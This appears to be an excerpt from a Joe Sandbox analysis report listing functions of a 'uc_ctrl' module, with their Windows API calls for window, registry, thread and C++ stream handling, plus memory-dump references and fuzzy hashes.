                                                                                              Function 6CEDD8D0 Relevance: 6.1, APIs: 4, Instructions: 121COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Dtest
                                                                                              • String ID:
                                                                                              • API String ID: 2456463492-0
                                                                                              • Opcode ID: 59b57e6d62c5720c9d93cc7b99bf567c0d275ba48c3c48a95313a9cb8d5bf43b
                                                                                              • Instruction ID: 316cdfc55cb056a8f16bde8f51e1172bdfb5fe553dd104ae3b5e32f76f17191d
                                                                                              • Opcode Fuzzy Hash: 59b57e6d62c5720c9d93cc7b99bf567c0d275ba48c3c48a95313a9cb8d5bf43b
                                                                                              • Instruction Fuzzy Hash: D33115E6D0410AA2CF022E14D6083C53B78EB073A4F334B84E995A16D8FE72E7574EE4
                                                                                              Function 6CF8D01C Relevance: 6.1, APIs: 4, Instructions: 120registryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetPrivateProfileStringW.KERNEL32(?,?,?,?,00001000,?), ref: 6CF8D16E
                                                                                                • Part of subcall function 6CF8D1A2: RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,6CF8CE9B,?,00000000,00000018), ref: 6CF8D1E7
                                                                                              • RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,00000000,?,00000000,?,00000000,E7ACE0D8,?,?,?,?,6D0E59D6,000000FF), ref: 6CF8D0BD
                                                                                              • RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,00000000,?,?,6D0E59D6,000000FF), ref: 6CF8D0F9
                                                                                              • RegCloseKey.ADVAPI32(00000000,?,?,?,?,6D0E59D6,000000FF), ref: 6CF8D113
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseQueryValue$PrivateProfileString
                                                                                              • String ID:
                                                                                              • API String ID: 2114517702-0
                                                                                              • Opcode ID: 48ca467c0aff981c26d416c32e541ca1a948560c4e3df341ca46efff8374601e
                                                                                              • Instruction ID: 19629637054151465179b12b6d44c8d228b935470ba16fa95a498e1fb5f8a21d
                                                                                              • Opcode Fuzzy Hash: 48ca467c0aff981c26d416c32e541ca1a948560c4e3df341ca46efff8374601e
                                                                                              • Instruction Fuzzy Hash: 08417E71901219ABEB25CF14CC88EEEB7B9EF08314F10419AE909A7681DB349E59DF61
                                                                                              Function 6CF98EBC Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF9D632: GetWindowLongW.USER32(?,000000F0), ref: 6CF9D63F
                                                                                              • GetClientRect.USER32(?,?), ref: 6CF98F2B
                                                                                              • IsMenu.USER32(?), ref: 6CF98F67
                                                                                              • AdjustWindowRectEx.USER32(?,00000000,00000000), ref: 6CF98F7A
                                                                                              • GetClientRect.USER32(?,?), ref: 6CF98FC7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Rect$ClientWindow$AdjustLongMenu
                                                                                              • String ID:
                                                                                              • API String ID: 3435883281-0
                                                                                              • Opcode ID: 840028cf25563443d9490cc39fd72ca1eb035fa4823984e66caaa0d0d4a415a5
                                                                                              • Instruction ID: 374892fd84d98bcd210423e1dacd173df16f6043aff533a713e32c4d53792509
                                                                                              • Opcode Fuzzy Hash: 840028cf25563443d9490cc39fd72ca1eb035fa4823984e66caaa0d0d4a415a5
                                                                                              • Instruction Fuzzy Hash: B4316171E00219AFEF11DFA5C944EBFBBB9EF88618F20415AE905A7740DB74A904CB91
                                                                                              Function 6CF8BCB2 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnableMenuItem.USER32(00000000,?,?), ref: 6CF8BD72
                                                                                              • GetFocus.USER32 ref: 6CF8BD8A
                                                                                              • GetParent.USER32(?), ref: 6CF8BD98
                                                                                              • SendMessageW.USER32(?,00000028,00000000,00000000), ref: 6CF8BDAD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: EnableFocusItemMenuMessageParentSend
                                                                                              • String ID:
                                                                                              • API String ID: 2297321873-0
                                                                                              • Opcode ID: cbd9c9b09c4c3b8bff5a7075ea6e26ed30f4bee964a422a5db813238f2f1cd24
                                                                                              • Instruction ID: f68f91be926b0664963f1a6424172658ca06ea906cdee950dd3a4473fbad4969
                                                                                              • Opcode Fuzzy Hash: cbd9c9b09c4c3b8bff5a7075ea6e26ed30f4bee964a422a5db813238f2f1cd24
                                                                                              • Instruction Fuzzy Hash: F931F332601605FFDB249F25DC44B6AF7B5FF44324F208A6DE81587A90DB70E944CB91
                                                                                              Function 6CFAABAF Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetParent.USER32(?), ref: 6CFAABD8
                                                                                              • GetClientRect.USER32(?,?), ref: 6CFAAC1F
                                                                                              • GetWindowRect.USER32(?,?), ref: 6CFAAC65
                                                                                              • GetSystemMetrics.USER32(00000007), ref: 6CFAAC79
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Rect$ClientMetricsParentSystemWindow
                                                                                              • String ID:
                                                                                              • API String ID: 2120119201-0
                                                                                              • Opcode ID: 71f665f6290fd8e44b479618456cd95d40375a4b42b89fe15bdde29e4832ea7e
                                                                                              • Instruction ID: 0264ebb4ac9b7e78734f35a6fe5c82f4262b4b6b4f793b97072215cf7f4abf59
                                                                                              • Opcode Fuzzy Hash: 71f665f6290fd8e44b479618456cd95d40375a4b42b89fe15bdde29e4832ea7e
                                                                                              • Instruction Fuzzy Hash: 1531F8B1D00219AFDF01DFA8D980AEEBBF5FF09214B20456AE905FB200EB71A905CF51
                                                                                              Function 6CFA35B4 Relevance: 6.1, APIs: 4, Instructions: 99COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetRectEmpty.USER32(00000000), ref: 6CFA35BF
                                                                                              • GetClientRect.USER32(?,00000000), ref: 6CFA35DF
                                                                                              • GetParent.USER32(?), ref: 6CFA35FE
                                                                                              • OffsetRect.USER32(00000000,00000000,00000000), ref: 6CFA3682
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Rect$ClientEmptyOffsetParent
                                                                                              • String ID:
                                                                                              • API String ID: 3819956977-0
                                                                                              • Opcode ID: c5e37e2a241e0a70d734eb6a3a1e128eeef57d90fb06e1943c97923b9e05db32
                                                                                              • Instruction ID: adda90987b7d67b0c2c3dbb33aa8a4866b33308aaa4ac7e95bedc48cf62a4e48
                                                                                              • Opcode Fuzzy Hash: c5e37e2a241e0a70d734eb6a3a1e128eeef57d90fb06e1943c97923b9e05db32
                                                                                              • Instruction Fuzzy Hash: 3B318476201602EFEB04DFA5C884E66F7B5FF49724B10811AE9198BB91DB30E815CFA0
                                                                                              Function 6CF8A173 Relevance: 6.1, APIs: 4, Instructions: 83threadCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF8A17D
                                                                                                • Part of subcall function 6CF8C3FC: __EH_prolog3.LIBCMT ref: 6CF8C403
                                                                                              • GetCurrentThread.KERNEL32 ref: 6CF8A1DA
                                                                                              • GetCurrentThreadId.KERNEL32 ref: 6CF8A1E3
                                                                                              • GetVersionExW.KERNEL32 ref: 6CF8A27F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CurrentThread$H_prolog3H_prolog3_Version
                                                                                              • String ID:
                                                                                              • API String ID: 786120064-0
                                                                                              • Opcode ID: ff12ceb24bc73684dccc12f4972b0cbcafc162244b5867876b50fe5cebefc3ad
                                                                                              • Instruction ID: ae296c666e342d00a6a82ad7624732bb765470d2d4aec2d3984749132c5eadf8
                                                                                              • Opcode Fuzzy Hash: ff12ceb24bc73684dccc12f4972b0cbcafc162244b5867876b50fe5cebefc3ad
                                                                                              • Instruction Fuzzy Hash: 1F41AEB0802B018FD721CF2A858478AFAF0FF49704F918A6ED5AE87B50DB70A545CF42
                                                                                              Function 6D0CA202 Relevance: 6.1, APIs: 4, Instructions: 76COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 8b5096540c1d3decf97ae4e2659794b09ed03d5275db52f82521d3bc915fa81b
                                                                                              • Instruction ID: c4a0631a3b8f30f09db27a0532cf856d1f2c5661e7ef84bfab1bc218f274f3bf
                                                                                              • Opcode Fuzzy Hash: 8b5096540c1d3decf97ae4e2659794b09ed03d5275db52f82521d3bc915fa81b
                                                                                              • Instruction Fuzzy Hash: B4116631584226ABFB215BAD9C04F6E7BFCEB83374F314124F91197090DB729C019693
                                                                                              Function 6CF9AB38 Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SendMessageW.USER32(?,0000001F,00000000,00000000), ref: 6CF9AB70
                                                                                              • SendMessageW.USER32(?,0000001F,00000000,00000000), ref: 6CF9AB9A
                                                                                              • GetCapture.USER32 ref: 6CF9ABB0
                                                                                              • SendMessageW.USER32(00000000,0000001F,00000000,00000000), ref: 6CF9ABBF
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$CaptureException@8Throw
                                                                                              • String ID:
                                                                                              • API String ID: 1331319163-0
                                                                                              • Opcode ID: 02d82cf7494886a9e2fbf06a3cbec4c096a5ee74410943ec5315cd365fb55463
                                                                                              • Instruction ID: 840cb33b19b359a3d2991632dbe1efbff7c2c0d6b48e26535a518e4ee79817a0
                                                                                              • Opcode Fuzzy Hash: 02d82cf7494886a9e2fbf06a3cbec4c096a5ee74410943ec5315cd365fb55463
                                                                                              • Instruction Fuzzy Hash: DC1194727006097FFE111F608C89FBE366FFB49798F140028FA049B6A1DF619C1196A1
                                                                                              Function 6CFA3B39 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • BeginDeferWindowPos.USER32(00000000), ref: 6CFA3B5B
                                                                                              • IsWindow.USER32(?), ref: 6CFA3B76
                                                                                              • DeferWindowPos.USER32(00000000,?,00000000,?,00000000,?,00000000,00000000), ref: 6CFA3BC6
                                                                                              • EndDeferWindowPos.USER32(00000000), ref: 6CFA3BD1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Defer$Begin
                                                                                              • String ID:
                                                                                              • API String ID: 2880567340-0
                                                                                              • Opcode ID: dff3d00bcc8a19f4c3292d9ed2ff52de61e4ee8aaae155245e26416c87a191c2
                                                                                              • Instruction ID: 270a3441c8b8222910195f719fd30b0426b1fdd7a59cc90cfa88092dfb284b7d
                                                                                              • Opcode Fuzzy Hash: dff3d00bcc8a19f4c3292d9ed2ff52de61e4ee8aaae155245e26416c87a191c2
                                                                                              • Instruction Fuzzy Hash: 14210871E0020AEFCB11CFE9D944BAEFBF9EB49650F10456AE905E3250D735AA41CBA1
                                                                                              Function 6CF07C00 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF07C07
                                                                                                • Part of subcall function 6CEFFEDA: __EH_prolog3.LIBCMT ref: 6CEFFEE1
                                                                                                • Part of subcall function 6CEFFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF07779,?,00000001,00000008), ref: 6CEFFF16
                                                                                              • ?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JXZ.MSVCP140(?,00000001,00000008), ref: 6CF07C37
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000008), ref: 6CF07C89
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3U?$char_traits@_W@std@@@std@@$?in_avail@?$basic_streambuf@_?setstate@?$basic_ios@_D@std@@@std@@Ipfx@?$basic_istream@U?$char_traits@
                                                                                              • String ID:
                                                                                              • API String ID: 3309062606-0
                                                                                              • Opcode ID: 0dc967ab4f8dcbc313012ec836d5ca03993360a847e80a28c0af5b1c61637805
                                                                                              • Instruction ID: 75a63b48b6b151fb4a5276bd50fc319a082c4a121e9d40f8bd21db8c89d8e60e
                                                                                              • Opcode Fuzzy Hash: 0dc967ab4f8dcbc313012ec836d5ca03993360a847e80a28c0af5b1c61637805
                                                                                              • Instruction Fuzzy Hash: 0F11D075701A418FE7249F55C9F0AAA73A2AF90F18F26C4AE98119BB50DF70ED06E740
                                                                                              Function 6CEDAE60 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Dtest
                                                                                              • String ID:
                                                                                              • API String ID: 2456463492-0
                                                                                              • Opcode ID: f423a4ab22be3139bc78b04238b0779332f9e834579cbd86269ab9ed1396ec04
                                                                                              • Instruction ID: 808394966806bef99270682ed1e69bc1e48e43cfca868f72b6fee4ff4ee45b57
                                                                                              • Opcode Fuzzy Hash: f423a4ab22be3139bc78b04238b0779332f9e834579cbd86269ab9ed1396ec04
                                                                                              • Instruction Fuzzy Hash: 6C11B2E1944A0AA2CF001F54D9093C93B78EB07394F324A84ECA491A90FF31A7A7C6D6
                                                                                              Function 6CF04E30 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF04E37
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JXZ.MSVCP140(?,00000001,00000008), ref: 6CF04E67
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000008), ref: 6CF04EB9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_W@std@@@std@@$H_prolog3$?in_avail@?$basic_streambuf@_?setstate@?$basic_ios@_Ipfx@?$basic_istream@_
                                                                                              • String ID:
